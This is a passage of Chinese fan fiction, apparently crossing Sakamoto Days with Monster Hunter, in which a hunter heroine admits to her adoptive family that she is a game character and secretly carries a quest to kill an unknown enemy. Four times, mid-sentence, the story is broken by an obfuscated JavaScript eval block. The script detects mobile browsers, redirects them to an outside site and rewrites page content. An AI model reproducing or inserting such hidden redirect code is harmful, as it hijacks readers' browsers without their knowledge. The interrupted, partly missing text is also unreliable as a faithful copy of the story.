朝仓信很难得没面红耳赤地继续和人家吵,继续点进游戏就播放了一段动画,刚捏成的游戏小人朝仓宁静地安睡着,龙人族姐妹便屈身走进当中唤他起床商议要事…… “但是你怎么住着我的家睡着我的床还和我的好姐妹勾肩搭背啊!” “呃、你听我说夜子前辈,这是游戏干的!不是我故意的!” “是死宅么,还和npc当起姐妹来了……”势羽夏生无意识嘲讽了一句。 “我说的是事实!朝仓朝仓你快别走了问问火芽我该怎么回家!” “夜子前辈……我真的无能为力……” “不是吧,你也是村长看着长大的孩子,我怎么不知道?” “夜子前辈,这是普通游戏设定啦,很容易就撞车的那种普通……” “但是他也让你……啊!” “他他他,还叫你,‘烈焰’?” “对啊,应该是主角的名字或者代号一类的?” “……可那是我的名字。” 眼睑忍不住地颤了两下,我按揉着隐隐作痛的太阳穴,目不转睛地盯着同样向我投来注视的他们。 “夜子……前辈?”朝仓信面上写满不解,控制的小人就那样僵硬地站在台阶交替处。 老板更为镇定些,周身冒着沉下来的空气,他问我说:“百龙夜子,是假名吗?” “……不是假名。就是,人总有一两个名字吧?” 桌下,我的手指甲狠狠掐进了掌心的软肉,明明根本没做错什么,但还是止不住地心虚。 空气沉默了会儿,势羽夏生“咳”一声,若无其事地点头告辞。擅长逃跑的透明混蛋啊。 朝仓大概是接到了脑海中老板的指令,当下掏出手机给少糖打了个电话,询问她们几人还有多久回来。 总之,今天晚上应该是吃不上炸鸡块了。 4. 一二三四五,再加上我,六方会谈,这么大的阵仗啊。 现在家里六人快速高效地吃完了晚饭,除我之外的五人正在我面前坐成一排,以一种典狱长的目光审视着我。 大概。因为我没敢看。 太阳穴好痛,好像被电龙一个尾刺戳进了脑袋然后滋啦滋啦放电。我想这应该并不是身体原因,只不过我的报应。 下午,在等待少糖她们回来的这段时间,朝仓信已经沉默着打完了新手教程。虽然我瞥过他屏幕几眼并且很想开口劝他玩选择太刀,但是还是出于直觉没开口,只不过无力地一动不动坐在原地。 所以他才去玩了双剑啊。唉。 他去做百龙夜行任务的时候身体一滞,下意识念出声:“百龙夜行?” “嗯。”我撇嘴应了一声。 …… “夜子。” “夜子?” “在!”我从恍惚中醒过神,立刻坐直了,对上葵那种难以一言概括的眼神。 “所以说,你真的是游戏角色吗?” “……可能吧,我也今天才知道。” “那么到这边来的时候,明明是发生了那么大的变故,为什么提都没有和我们提一下?”老板老奸巨猾,知道葵对我而言是一管强力的真言剂,所以什么都让她来开口。 甚至吞咽口水对我都有些困难了,我深吸一口气,磕磕绊绊回答道:“因为我感觉这个不重要……” “不重要?”葵的声音猛地拔高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355937|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,“还是你不愿意告诉我们?” “没有……毕竟我什么大风大浪都经历过了,这也不算是什么大事?” 我偷瞄了一眼面前一排人,感觉这个状态是「气笑了」的状态吧……还是把头低着吧。 “夜子,不管你是夜子还是烈焰。”葵的声音由远及近传来,我低垂的视野中,她光滑圆润的膝盖忽而闯入。脸颊被一双温暖的手掌给捧起了,就像我第一次走进坂本商店那时候一样,有些发抖但绝对充满着力量的嗓音传到了我耳中: “我们始终都是你的家人,我们很担心你。” 对了,那个时候葵也是对我这样说的:“从此以后我们就是家人咯,好吗?” 5. 我们进行了一场盛大的拥抱,一个属于坂本家所有人的拥抱。 6. 所以还是回到那个问题:为什么我一直没有提及我的身世? 首先当然是我本人没有察觉到任何不对劲,等我发现自己穿越了(少糖说我们姑且就先这样称呼),我也出于“过于见多识广”的原因没有放在心上,只当作有别的任务要开始了。 其次…… “你们也没问呀。”我弱弱地补充了一句,“以前都是别人先和我说话我再讲的……虽然或多或少都是要和我讲任务。” “晕~”少糖也坐过来拉住我的手,“夜子姐,接下来就让我们一起步入正常人社会吧。你还差得远呢。” 葵在我的右侧帮我拨弄碎发:“那好吧,我问你,现在你最要紧的事,是回那边的家吗?” 7. 我很幸福。 一时半会儿没有多余的心思思考葵的问题,我只是想:这就是陷入温柔乡的感觉吗? 脑袋的疼痛应该只是过于幸福所产生的幻觉吧? 绝对不是我本人要晕倒了吧? 8. 所以再次睁开眼的时候我仍旧有些迷茫,摸了摸身上的热源后才发现那不是葵和少糖的体温,而是我那条熟悉又温暖的被子。 不过葵依旧在。 “夜子,好点了吗?” “什么时候发烧的?你一点儿也没察觉到吗?” 我点点头,又摇摇头。总之不知道在回答些什么。 用力眨了眨眼环顾我这在商店后院安下的帐篷,我对眼前的世界在迷蒙中起了一些不确定感。床脚对面眼熟的挂画卷轴,小桌上的木雕娃娃摆件,最不应该出现在这儿的黑红色箱子——我的道具箱。 但我想此时我不应该再关注这个,葵还在我面前。 “葵,刚刚你问我最要紧的事吧。” “对,你说得一点儿没错,我得回家!” 她摸摸我的头,给我端过来一杯蜂蜜柠檬水:“那你一定先要好好休息才行!水放在这儿,我先去看看小花怎么样了哦。” “好!” 9. 我撕开了额头的退烧贴。 10. 又说谎了呢。 紧急任务从来都没有“回家”这个选项,是个合格的猎人就该知道这一点。 『当前的新世界进度』 『完成☆6紧急任务』 『刺中残暴、混乱的秩序之刃』 『任务内容:讨伐幕后之敌』 视野左侧依稀闪动着这字迹的红光,我一口灌下蜂蜜水,只能无奈地一笑而过。 什么嘛,和今天看到的游戏界面一模一样。 怎么我还真是游戏主角啊! 39.开挂但本人已经是挂的程度 1. 这是我有生以来接过的最模糊不清的任务描述。 倒是说清楚幕后之敌是谁啊! 暂且不提为什么来到异世界之后我还能以这样一种魔幻的方式接到任务,光就猎人工会一贯不知所云的任务命名方式,我就产生了一种熟悉的无力感。 什么叫作“刺中残暴、混乱的秩序之刃”? 纵览全局,唯二确定的信息就是“讨伐”和数量0/1。 我将要杀死这个未知的敌人,既不是狩猎也不是捕获,我将确确实实地抹杀那个人的生命。 所以我说谎了,在坂本家那条“不可以杀人”的家训下,这条任务是那样刺眼。 可能,可能我终有一天要离开这里。可能。 2. 不过在找到任务对象之前,我会当作无事发生一样。 现在最重要的,果然还是起身看一看我一觉醒来后的新变化。 帐篷内的布局变了,大致变成了我原本家中的模样;凭空出现在角落的博古架上,摆满了我抽奖赢来的奇怪摆件;爵银龙在挂画卷轴的画面中无声展翅低吼,只是唯独没有我的猫管家在。 我抚摸上了一旁的相框,里面是我那过于热情开朗的师父硬拉着我拍的相片。那时他把我强硬地拴在怀里一起对着镜头比耶,福木兔在上空盘旋着拍下照片,我们身后还有偶然入镜做着鬼脸的火芽和艾草。 其实那段日子并不久远,只不过相框上蒙着的灰尘却让这看起来像极了上辈子的往事。 道具箱静静地躺在我脚边,里面杂乱地放着我的全部家当:所有的武器、道具、装备和食物,以及剥取的大堆怪物素材。 清点着这些老伙计们,某种安全感顿时一下子从脚趾尖满溢到头顶——果然武力和资产是安全感的绝对来源啊! 顿时,我头也不痛了,脑子也不晕了,安详地短暂忘却一切,一觉睡到天明。 3. 从后门走进商店时,有一种令人安心的、混杂着食物与包装纸箱的气味扑面而来。空调开了制冷,因此并不感到庞杂与混乱。 “夜子前辈,空调会有点儿冷吗?” 朝仓信从装着牛奶的纸箱后抬起头来,大概是刚读了我的心声。我摇摇头,像往日一样走到他旁边一起理货。 “今天还是休息吧前辈?我一个人能行的。”他义正言辞地将纸箱往身边挪了挪。 “……后来的事,葵姐都和我们说了。” “什么?” “就是你要回家这事……”他神色只是明显的低落了一瞬,又恢复了精神握拳点头道,“别担心!我们都会努力帮你找回家的方法的!” “这样啊……”为着这一个谎言,我干噎着说不出话来。 很想把真相说出口,对喜欢的人有所隐瞒真的很不好受。但与之相对的,说出这个违背家训的真相又绝对会让我不得不离开这个家。 “说起来,我有东西要给你们。”像是某种补偿,也属于对会读心的超能力者的逃避,我飞也似的跑回帐篷里,从道具箱里随意抓上一大把零碎物品。 一股脑儿地全部摊在桌面上,我不给朝仓信留下一点思考时间,直接开始了介绍。 从各种实用性的道具例如回复药,一直讲到我在交易船的罗德娜那儿淘来的各种珍奇矿石,以及我打猎打来的精灵鹿角和有着各种精巧纹样的毛皮,我长舒一口气:“这些我都准备送给你们。” “等等,这是……来自异世界的馈赠吗!?”朝仓信伸手抚摸着一块白兔兽的蓬松毛皮,语气中少不了惊异与好奇。 “嗯,算是家乡特产。”很好,成功转移话题。 我拍拍他的肩膀:“昨天我不是晕倒了吗?之后一觉醒来我的全部家当就都出现了。” 他还是惊得合不拢嘴,一副质疑世界观的表情,我一边收拾着东西把它们整理进空出来的纸箱,一边忍不住吩咐他说:“你手边那个是失神昏睡袋吧,小心别掉下去撞破了,沾上一点那个粉尘就会睡过去几天几夜哦。” “哦哦,好。”他赶紧站直了和我一起收拾,然后又忍不住开口,“怎么说呢,还是好神奇……凭空出现的道具箱什么的,夜子前辈你真的不是什么漫画主角吗?” “只是区区一个游戏主角罢了。”我轻描淡写说道。 “唉,这不就像是开挂了吗?”他双手托腮认真地望向我的眼睛,“虽然前辈本身已经很厉害了。” 我没有直接接住他的话:“这些东西我多的是,用完了再来拿。” “我会好好珍惜的。”他脸上绽开一个些许落寞的笑,半开玩笑似的说了句,“不过,什么时候我才能追上你们呢。” “想听实话吗?”我起身倚靠在货架。 “……嗯。想。” “如果你是单纯指武力值的话,以你的上限恐怕不太可能了。” “好直白,好过分。”他捂住脸。 “但……”我又顿了顿,“你有超能力啊,这一点我们谁也追不上你。” “老板也是这样想的,对吧?” 4. 随着“欢迎光临”的电子音响起,坂本太郎手里提着一个白色塑料袋站在门口,沉默着点了点头。 而他身后还跟着一个熟悉的高大身影,插着兜自说自话又顺了瓶乌龙茶拧来喝。 “你们怎么一起回来了?南云你得过来结账。” “路上正巧遇到的。”他打了个哈欠随意地伸出手臂环在我肩头。我并没有走进柜台,微微将收银台扯偏一些角度直接按下一串按键。 “这里结账。”我指着屏幕上显示的数字,“起这么早,我还以为你是那种爱睡懒觉的类型。” “诶,帮我付嘛~”他撒娇一般摇晃着我的手臂,“猜对了,我确实爱睡懒觉,不过……” 我回忆起身边还有多少现金,想着应该还够便从口袋里掏出几枚硬币,数了数塞进收银机。“好吧,我付……你说不过什么?” “诶,真付啦?” 我眯着眼怀疑地扭头盯住他的眼睛,他不动如山回望过来:“我还没睡觉。好讨厌工作,我说你要不让我来你们这儿干活吧?” “不行,再来人老板就发不出工资了。你快回家睡觉吧。” 老板咳了一声,我正好推开南云把收银台摆正。 “你们之间怎么……”朝仓信似乎有些欲言又止,但最终对上我疑惑的目光也只是低声说了句“没什么”。 老板把手里的塑料袋打开给我看:“发烧怎么样了?我去中华街买了据说有养生作用的药膳鸡。你饿了就去厨房热一热吃。” “是陆昨天强力推荐的。”朝仓信竖起食指补充。 好香。 我当即弯下身猛地一嗅,立刻摩拳擦掌起来:“现在可以吃吗?” “不行。”依旧是朝仓默默收走了那锅鸡汤,“早上不宜吃这些油腻的。这也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367831|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆说的。” “好吧……” “夜子在生病吗?”南云用手背抚上我的额头测量起了温度。 “其实我感觉不像。或者说现在已经好了?”我就着南云当人体模特打了一套拳,“你们看,我好着呢。” “好痛哟。” “乱说!明明根本没用力。” 闻言老板也走过来想测一下我的额温,我赶紧往前将脑袋送了过去。 “怎么样?是好着呢吧?” “体温计还没测。”老板差使着朝仓上楼去拿体温枪,看着南云又一次挂在我的身上流露出不赞同的目光,直到真的测出来我已经恢复正常体温,紧锁的眉头才略微松开。 我推测道:“其实就和游戏系统过热是一个道理吧,现在我就真像游戏角色一样能隐约看到点游戏界面。昨天肯定是加载数据给我热坏了!” 南云反手捏了捏我的腮帮子:“游戏角色?” 坏了,忘记这边还有个真·局外人了。 顶着他黑黢黢的目光,我只得一五一十把昨天发生的种种告诉了他,能说的我都说了。 没想到他唯独只关心一个毫不重要的问题,目光在沉痛中带着一丝不可思议:“我还以为‘烈焰’这个名字,会是我和你的秘密……没想到这下大家都知道了呀。” 老板率先死死盯住了南云,南云也像是完全察觉不到氛围一样笑着摆摆手:“哎,别问了别问了,要说出我和夜子关系比较好这件事多不好意思呀!” 潜意识里我就觉得再让他这样胡说八道下去会有危险,于是赶紧打补丁道: “其实只是他偷看了我的猎人证明才知道的。” “总之,南云先生你先回去吧!” 朝仓信突然不知道在着急什么大喊一声,“夜子前辈虽然可能没发烧,但晕倒了也是事实,请让她好好休息吧!” 老板也欣慰地抱着胳膊表示赞同。 “那不是巧了嘛,正好我也没睡,夜子我们一起睡觉去怎么样?” “不行!” 朝仓信比我还先一步拦在我和他之间,他握着拳,虽然情绪激动却努力地在试图表达清晰,“我们都在努力想着怎么帮夜子回家,你却、你怎么……这样缠着她是不可以的!” 5. 我几乎瞬间便从那破碎的语言中得出了他的心意:如果注定要回到另一个世界,那么越深的羁绊便象征着越重的负担。 ——然而这个前提根本不存在。 “信。”老板只是念着他的名字叫停。 “对不起。我说得太……” “哈?非要我继续睡觉是绝对不可行的!无论是我一个人睡还是南云陪我都不可行!” “我醒都醒过来了,身体也好着,现在照时间来说应该去散步吃早饭了。” 南云也应和道:“早饭我请你,就当乌龙茶的回礼怎么样?” “那可真是太好了!——老板,信,你们要不要吃什么我可以带回来哦!反正是南云请客。” 见状他们也不再阻拦,我蹦跶着回头嘱咐他俩尤其是老板不准偷吃掉我的药膳鸡,就前后脚与南云一起出了门。 6. 街上只有我和他两个人的脚步声。 又或者是其他人的脚步声我都没有留意。 南云抬手在我眼前晃了晃,嘴角轻笑一声: “走到这里就不用演了吧?” 被看透了。 40.“你好像变得聪明了点儿。” 1. “能边吃边说吗?” 我抓住南云在我面前乱晃的手,无奈地回答道:“我是真饿了。” “麦当劳?好像有点儿远,要不就那家餐厅?”他眺望着不远处的一家店,门前挂了块“早餐供应”的木牌。 “好,走吧。” 2. 650日元的套餐已经是最豪华的加量版,对我来说却只有稍微果腹的感觉。 三文鱼的油脂似乎还停留在舌尖,南云舔舐着自己嘴角,手指不着痕迹地点了点,示意我在相同位置沾上了酱料。啊,是蔬菜沙拉里的蛋黄酱。 “谢谢你。”我已经做好了他会把一切逼问出来的心理准备,“你想从哪里开始听起?” 没想到他只是侧过身淡定地看着我说:“那,和我讲讲你那边的世界吧。” “问这个吗?” “因为我很想要多了解你一点。” 如他所愿,我咽下最后一口米饭后开始滔滔不绝讲起我的过去。毫无章法,毫无重点,平铺直叙地东拉西扯,拼拼凑凑描摹出了一个单纯朴素甚至有些无趣的女猎人。 我叹了口气:“抱歉,很枯燥是吧?” “没有哦。”他单手撑着下巴,“我还挺高兴的,能知道谷歌以外的你的生活。” 他向我展示着浏览器上关于『怪物猎人烈焰』的检索词条,一一翻过去:“感觉我对你的了解还不及谷歌的时候,莫名有种我输了的挫败呢。” “人机大战?”我突然笑出了声,“没关系,如果我以后多和你讲讲故事的话,你绝对会赢的!” “那拜托你了,烈焰。” “不要突然一脸郑重地来嘱托我呀!很吓人!” 3. 不过这些小小插曲并不意味着南云会对刚刚在商店发生的一切就此放下。 “为什么一副做错了事的表情?”他把我的脸掰正,“你有话想和我说吧,事到如今,大英雄烈焰怎么还能逃呢?” “……你是不是在用这个名头要挟我?”我也不甘示弱地掐住他的脸回敬。 “被你发现了呀。”南云理直气壮,甚至还自顾自地揉捏起我的脸颊。 我皱着眉手上也不自觉地模仿着他的动作:“我、我本来也打算马上说的好不好!” “OK~休战休战!” 同时放下在对方脸上的手,可是造成的结果却完全不同:我无事发生,可南云光洁的脸颊上却凭空多了几道淡红色指印,在他冷白的皮肤上显得更为明显。 “你看起来好像是被人打了一样……啊不是,我是说抱歉啊……” 南云在手机摄像头前照了照,很大度地没在意疼痛的同时,很小气地对我说:“那你记着,你身上也欠我几道手指印。” “诶…这还能欠?” 他神色淡然地略过了这个话题,我也就当个玩笑一样过去了。随即正色开始说明我真正的烦恼: 我在任务内容上,对大家说谎了。 “所以你不急着回去?” “不急。” “你想要回家吗?” “我的想法倒是没意义,重要的是任务怎么办。” “不是这样的。”他打断我的话,“至少我想知道你的内心。” “……其实我不知道。有点想家,但是我现在已经有两个家了。” 脑袋晕乎乎的,总感觉有哪儿不对劲。南云对我很好,他很在意我,这是我得出的结论,但是、但是有哪儿不对劲啊! “你还没听我说完最关键的后半句话!” “我真正的任务,是要去杀一个人啊!就是那个‘杀人’的杀哦!” 我压低声音小心地将这件事告诉南云这一坂本家外部朋友,更重要的是,他也从事着相关工作,因此和他说这件事我没有任何心理负担。 “要杀谁?我可是专业的杀手。”他突然间从指间翻出一张金色的卡片,“你来委托我的话可以给你打折。” “我要是知道是谁就直接去偷偷杀掉了啦……还有这任务一定得是我亲自做才行的,你帮不了忙。”我把他那张看起来像是杀手执照的卡片推了回去。 “所以你的烦恼是……” 我和他交换了一个眼神,接着他的话讲道: “怎样才能在不被他们发现的情况下调查清楚并完成任务……这事情越拖越难办啊,时间一久绝对会被看出来。” “果然不是那种很乖的孩子呐~”南云又在一边说起了风凉话。 手里的筷子在味增汤碗中划着圈圈,确实无法反驳:“说不定还没找到那个‘幕后之敌’我就要被赶出去了。” “话说刺中残暴混乱的秩序之刃究竟是什么意思啊,你有听说过吗?” “这说的不就是我们吗?” 南云皱了皱眉,一边念着字母一边依次比出O-R-D-E-R的手势,“什么以秩序之名,肃清杀联乱象之类的。” “那你要不要加入ORDER啊?” 南云又在突发奇想。 我沉默了一会儿:“你还挺无厘头的。我暂时还不想变成神神廻那样。” “其实说不定还挺贴的呢,你当猎人也是到公会接任务做任务,当ORDER也是到杀联去接任务做任务,区别只是杀怪物和杀人罢了。” “确实。”我陷入沉思,“说到底,怪物和人从本质上也没什么不同……怎、怎么了,用那种眼神看我?” 那一瞬间,南云的眼眸中有惊讶,有好奇,也有一丝欣赏?我不确定。 但我听见他说:“怪物会和人做朋友吗?” “没听说过。但我所知道怪物和猎人唯一的共存关系,那就是猎人驯化怪物。” 4. 好吧虽然南云看起来很不着调,但他确实也给我提供了一些线索。 例如那个为非作歹、从未露出过真面目的恶徒X,那个人如今既是ORDER的重点关注对象,又是莫名与坂本一家有所牵连的对象,这样一说,很难不把矛头暂时指向他/她。 “而且坂本也在追查X对吧?顺便跟着他们调查的话应该也不会暴露。” “虽然感觉那人挺符合标准的,但如果最后杀错人了怎么办?” “那你就把这个功绩让给我怎么样?我用X换来的奖金请你吃烤肉。” “我觉得可以……但其实我只是想问那种情况下我该怎么找真正的敌人?” “那时候再说呗。”南云摊手,“话说你要是不完成任务会怎样?” “不会怎样,但我必须完成任务。毕竟那任务是好不容易出现的和我家乡有关的线索。” 不过还有最后一个问题。 我倏地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378288|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向南云,尽可能瞪着眼使自己的眼神变得锐利: “这些事情,你会和老板他们保密的吧?” “当然会!……不会呢?” “南云……”我狠狠地磨着牙仿佛要碾碎他的名字及本人。 “呵呵,放心吧,我本人还不至于那么没品。” 他做了个嘴巴拉链的模样,我这才放下心来。 “所以我们去看电影吧?” 5. 所以为什么要用“所以”当这个毫无用处的承接词啊! 6. 南云据理力争,给出以下几点理由,让我不得不屈服: 首先是我有求于人; 其次他准备带我去看动物世界纪录片; 最后是因为他一宿没睡了一个人去电影院肯定会睡着。 “如果到时候我睡着了突然有刺客要对我不利,我要是出事了你会不会为我度过一个心碎的夜晚?” 他睁着水汪汪的眼睛这么说的。 7. 电影院还是一片宁静。 由于时间尚早的缘故,我们才得以赶上《动物世界》的播放。 “爆米花要吗?” 我摇头:“我不太喜欢爆米花那种黏糊糊的感觉。吃过以后会忍不住把手上的糖浆舔干净,很麻烦。” 于是我俩便真的只是观赏一部影片,两手空空就走进了影厅。 漆黑一片里,循着阶梯上幽蓝色的数字标记往上走,倒数第四排中央就是我俩选的座。 不过说是选座,实际上也根本没人和我们抢位置也就是了。 “电影要多久啊,我还没和老板请假。” “我帮你和坂本说过了。” “这么贴心。”我给他比了个赞。 “那是。”他眯着眼得意地扬起下巴,“坂本说想玩到什么时候都行。总之不用担心他。” “没事,我本来也不想玩很久。” “是不想和我在一起吗?” “本来不是,现在有点儿了。” 8. 总之就是等待看电影。 扶手座将影厅内的空间细密地划分成无数个小格子,在空荡的巨大房间里,倒数第四排的两个相邻座位显得格外与世隔绝,仿佛我俩之间流动的空气都与隔壁不同。 我舒舒服服蜷缩在足以包裹身体的扶手椅中,等待电影开始播放。 直到搭在扶手上的手臂突然间传来了一阵温热的触感,我侧过头,发现是南云虚虚握住我的手臂。 “别动。”他另一只手捏着我下颌,我只得转过头正视大屏幕。他在我耳边压低了声音:“虽然影院没人,但还是要遵守规定禁止交谈哦……” “那你现在还……”还在说什么。 “趁着还没开始,烈焰,我问你。”他一字一句慢悠悠念着,总令人感觉像是要上演一场语言的凌迟。 他说:“在商店里,你最后那些话是在让我意会了支援你吧?” 他指的是我话锋一转提出要去吃早饭和散步这件事。 那个时候我只是下意识说了这些话,又下意识偷偷瞥了南云一眼。只是觉得这样做比较好而已。 “暗示和转移话题的本领呢,虽然还是很稚嫩。” 他轻轻吹了一口气,“不过比起以前,你好像变得聪明了点儿?” 41.黑暗中或许看得更清楚 1. 『更聪明了』是在夸我吗? 好像是的,但似乎又暗含褒贬。 但是影片已经快要播放了。 我赶着在片头前探头贴近南云一侧的耳朵,尽可能压低了声音: “不管怎样,你等着吧,我会变得更聪明的。” 直到能够非常融洽、非常顺畅地,听懂你们所有人的思绪,还有那些没有说出口的话外音。 2. 《动物世界》是一部不错的片子,如果不考虑周围干扰因素的话。 刚开场十分钟,南云便一头栽到我右肩呼呼大睡起来。超级大屏上变换的灯光明暗交替,他的脸被埋没在阴影之中,放在动物世界里,这副不设防的模样绝对会被狼或者鬣狗什么的一下子撕咬坏掉吧。 他要感激现如今待在身边的我不是这种捕食动物啊。 话虽如此,但南云本人也就只有像这样睡着了失去意识的情况下,才有点软绵绵的、看起来很温良。 倒是看不清脸,毛绒绒的碎发扎在我的颈窝,他一动我就更是痒得不行,再加上他时不时还有温热的吐息落在我的手臂或是胸口,对我而言更是一激灵复一激灵。 “呵呵,去剃个光头吧,痒死我了。”我不住地嘟囔道。毕竟是工作了通宵的社畜,我果然还是仁慈地没有弄醒他。 这抱怨似乎还真起效了。 至少南云也没再扭来扭去……我也被他……传染了…… 猎豹飞奔在大草原……我死死睡在了扶手椅。 3. “你们两个,这不是睡觉的地方吧!” “在这种地方还秀什么秀啊!快点给我起来腾位置打扫了!” “欸欸欸——” “抱歉抱歉。” 我和南云对视一眼,皆在对方眼中看见了一种叫做「怎么还真睡着了」的惊讶。 他借着身高优势又一次揽过我的肩头,整个人像大型犬一样快要将我包裹住,嬉闹着把我带了出去。 我:“你是经常腿软吗,怎么这么喜欢搭在我身上?” 南云:“因为你的身高比较合适,而且还不会把我推开。” “这么说,你果然不是很受别人待见。” 我想了想,这倒也确实,任谁要背负着一个一米九的大个子都不好受,更何况这人还会出其不意地进行扭动攻击。 也就是说,被南云选择的倚靠对象必须要有足够的力量、平衡性和反应力,细细想来,满足这些条件的几人都不会乐意任由南云打闹啊。 还怪可怜的。 “被你看出来了~我很可怜是不是?”南云紧紧盯着我的眼睛,“不过,你似乎还在透过我在看谁?” “小黑。”我叹了口气,“我家的小黑也喜欢这么扑到我身上,但是他体型太大了,所以似乎不怎么敢和其他朋友玩,只好天天缠着我来着。” “你的狗?”得到我的肯定后,南云咧嘴阴仄仄一笑,“我敢打赌,这狗肯定是装的。” “小狗能有什么坏心思?” “你别管了,我就是知道。” 4. 他把我送回商店街街口,买了个可乐饼塞进我嘴里就挥挥手准备离开。 “就送到这里吧。记得帮我在坂本面前说几句好话。” 他双手合十俏皮地望着天:“毕竟其实坂本根本没同意我带你出去玩的请假申请。” “我知道了。我完全是被你‘绑架’出门的对吧。” “回答正确!你有这样严厉的父亲,果然还是让我来当坏人。” “父亲?” “总之我走了,发生什么事都要和我打电话哦。” 他修长的手指紧紧攥着那台黑色手机,轻轻与我那台合拢、相触,屏幕上意外地下起流星雨:“无论什么时候,我都会接起你的电话。” “你杀人的时候也能?” “能,但是会晚一两秒吧?” 好自信。 不过听起来真的很靠谱。 他用力捏着我的指尖自言自语:“这种程度的就听不出来了吗……不过也可爱。” 我皱着眉回忆是否错过了什么细节。想想看,再想想看…… “啊!我怎么给忘了!”我总算反应过来,“不好意思啊,你再跟我走一趟!” 我扯着他来到了花店,一进门便是扑面而来的清新香气。 “老板,我想给他买一束花!” 5. 南云弯着腰才勉强走进了店门,我转身便和他对上了视线。 未免也太吃惊了吧! 我不过是回想起来当时在手机店里答应要给他的买花谢礼罢了! “你喜欢什么花?” “唔。”他抬手压了下眉毛,“……都很喜欢。” “可是都买一朵放在一起不会很丑吗?” “所以请你帮我挑咯?” 问题是我也不懂!我直接放弃思考:“老板,请你帮我挑吧!” 这种事还得交给专业人员! 或许是看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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先是检查我的家当,装备换了一套有一套,飞雷龙套,白兔兽套,翼蛇龙套……我对着全身镜把每一套装备都拍照记录了下来,翻阅着各个角度拍下的几百张照片,我顿时感到心满意足。 ——这样的话,就算不在家也能欣赏我的战袍了! 7. 所以顺便又把我的太刀们拿出来拍照存档。 拍拍拍拍到厌倦! 根本不带厌倦的! 然而等我结束了这些工作后,老板他们依旧没有回来。 我跑去葵姐身边,和她一起坐柜台。 ——直到她的手机传来“叮”一声地回复消息。 “诶!?那些家伙去赌场了!——” 42.区区死囚无需在意 1. 老板完蛋了。 不仅去了赌场,他甚至还带着朝仓以及刚成年不久的少糖一起去。 “葵姐,老板可能……”是有苦衷的。 她眯着眼仿佛在笑,不过嘴唇绷成一条直线,看起来是明显的皮笑肉不笑。我还是不说话了比较好。 2. 我想老板回家时看到葵的这副表情时,恐怕心里想的和我相差无几。 几人到家时已经将近小花的放学时间,老板试探着左脚先踏进店门,得到葵姐在计算器上重重按下一个“归零!”后,右脚先踏进店门的作战也相继失败了。 “我,去接小花放学。” 他骑上脚踏车灰溜溜地逃跑了。 留下一片烂摊子给朝仓和陆处理。 例如他们身后的那个男人。 我将几人迎进门,在空气中嗅了嗅果然闻到了熟悉的硝烟味,在那个面生的男人身上尤为明显。 “夜子姐,他是我的远房亲戚陆无糖。” 少糖把我拉到一边介绍道:“算是我家组织里的顾问军师之类的?” 单侧束发的男人几句话便讲清了今日自从他们相遇的赌约,至赌场里的组织叛变火并,我颇为理解地点点头。 “老板是不是有点惨啊,虽然去了赌场但是为了正事呀……夜子姐要不你去替他给葵姐说清楚,总觉得怪不好意思的……” 我摸摸她头,否决了这一想法:“葵姐怎么会不知道事出有因?但是从情感上她想保护你们呀!下次不准去那种混乱的地方了!” “好哦~” 这事儿却让无糖不同意了。 他眉一横就是激推发言:“这怎么行!大小姐可是陆家正经继承人,区区小赌场怎么就去不得了!?” 我提了一口气,见少糖恭敬地伸出手掌说着“请动手吧”,便一脚踹了过去。 “去抄100遍坂本家训再说话!” 3. “亲爱的,还记得坂本家训第23条是什么吗?” 葵将笔记本卷成纸筒,眼神凌厉地“唰”一声指着老板的脑门。 “让青少年在阳光下成长,不得让孩子的心灵受到侵害……”老板皱皱巴巴地一字一句说道。 刚把小花接回家,店内便上演了这样一幕。 “你别去打扰他们。”我拦住即将跑过去忏悔的朝仓信,“总之是为了你们好。” “现在先说说为什么这人还要留在这儿吧?” 我额角抽了抽,只得忍耐着陆无糖把我本来想要留着喝的最后一瓶橙汁给喝完了。 “好像他有藏着什么‘斯拉’的情报呢。” 少糖回忆半晌,“他那样子真的可信吗我说……而且一直感觉有很恶的眼神黏在我身上……” 我朝陆无糖恶狠狠地扬了下扫帚。 “斯拉”的情报? 总有一种冥冥之中自有天意的感觉,刚确定完接下来的目标是那人,情报就自己送上门来了。 这不由得加强了我的自信心:如此形成连锁反应的事件,通常都是我那些一环扣一环的任务的模样。 4. 这个万众瞩目的消息,一直压到一块儿吃完晚饭,我慢悠悠喝着鸡汤的时候才被陆无糖说了出来。 